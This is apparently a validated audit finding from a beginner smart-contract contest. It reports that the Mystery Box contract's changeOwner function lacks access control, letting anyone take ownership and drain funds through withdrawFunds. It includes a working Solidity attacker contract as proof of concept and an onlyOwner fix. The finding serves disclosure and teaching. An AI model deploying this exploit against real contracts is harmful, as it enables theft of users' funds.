Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Ownership and Fund Theft Vulnerability

Summary

The smart contract contains two critical issues: lack of owner validation and improper access control in the changeOwner function. An attacker can leverage these vulnerabilities to gain unauthorized ownership and steal all funds from the contract using the withdrawFunds function.

Vulnerability Details

Affected Functions:

  1. changeOwner(address _newOwner)

  2. withdrawFunds()

  • Issue 1: Lack of Owner Validation The changeOwner function lacks proper access control, allowing anyone to change the owner of the contract. This creates a serious security risk because an unauthorized entity can become the owner without restriction.

    • Code:

// MysteryBox.sol: line 111 to 123
function changeOwner(address _newOwner) public {
owner = _newOwner;
}
  • Issue 2: Access Control Vulnerability The withdrawFunds function allows only the owner to withdraw the contract’s balance. However, because of the lack of validation in changeOwner, an attacker can first become the owner, then call withdrawFunds to steal all funds.

  • Code:

function withdrawFunds() public {
require(msg.sender == owner, "Only owner can withdraw");
(bool success,) = payable(owner).call{value: address(this).balance}("");
require(success, "Transfer failed");
}

Impact

Potential Consequences:

  • An attacker can call the changeOwner function to become the contract's owner.

  • After gaining ownership, the attacker can invoke the withdrawFunds function to transfer all contract funds to their own wallet or their owned Exploit contract.

  • Loss of contract funds, leading to financial damage and potential project collapse.

Proof of Concept (PoC):

Deploy this Exploit code with remix IDE Using `MysteryBox` contract address, Then run the attack function.

  • Step 1: Attacker calls the changeOwner function, passing their own address as the new owner.

  • Step 2: Now as the new owner, the attacker calls withdrawFunds to drain the contract balance.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface MyRewardContract {
function withdrawFunds() external ;
function changeOwner(address _newOwner) external ;
}
contract Attacker {
MyRewardContract public target;
constructor(address _target) {
target = MyRewardContract(_target);
}
function attack() external {
target.changeOwner(address(this));
target.withdrawFunds();
}
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}

Tools Used

Recommendations

To fix the vulnerabilities, add proper access control to the changeOwner function and ensure only the current owner can transfer ownership.

  • Code Fix Example: Add an onlyOwner modifier to restrict access to the changeOwner function.

modifier onlyOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}
function changeOwner(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "New owner is the zero address");
owner = _newOwner;
}
Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.